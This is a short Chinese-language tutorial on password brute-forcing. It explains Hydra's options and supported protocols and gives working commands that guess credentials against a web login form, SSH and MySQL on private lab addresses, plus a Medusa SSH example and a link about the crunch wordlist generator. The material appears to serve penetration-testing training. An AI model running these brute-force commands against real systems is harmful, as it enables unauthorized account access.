密码爆破及工具
工具及其适用
hydra
使用场景:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。
支持这些协议的爆破
语法:
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
-l 用户名
-L 用户名字典
-p 密码
-P 密码字典
-s 端口号
-m 指定业务系统自定义的url目录地址,即主机端口后面的部分。用 : 分隔
url目录:请求正文:登录失败情况模糊匹配
-e ns 自动确定是否登录成功(适用于协议具有规则响应的爆破,而不是业务系统自定义respones的情况)
-o 将爆破的详细情况输出为日志文件
-t 同时运行线程数,默认16
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-M file 指定目标ip列表文件,批量破解。
-f 找到第一对登录名或者密码的时候中止破解。
服务类型:这就需要自己通过查看页面源代码或抓包自主确认
-v 展示详细的爆破信息
- 爆破woniusales
hydra -s 8080 -l admin -P ./dict/passtest.txt 192.168.230.147 -m "/woniusales/user/login:username=^USER^&password=^PASS^&verifycode=0000:login-fail" http-form-post
爆破成功之后会将爆破成功的结果高亮显示
- 爆破ssh
hydra -l root -P ./passtest.txt -vV -o ./ssh_crack.log -e ns 192.168.230.147 ssh
- 爆破mysql
hydra -l root -p ./passtest.txt -vV -o mysql_crack.log -e ns 192.168.230.150 mysql
medusa
参数代表的意思略有区别,但是形式很像
比如在这里爆破ssh
medusa -h 192.168.230.150 -u root -P ./passtest.txt -t 200 -M ssh
-u 用户
-U 用户字典
-p 密码
-P 密码字典
crunch字典生成工具
https://www.pianshen.com/article/23811348552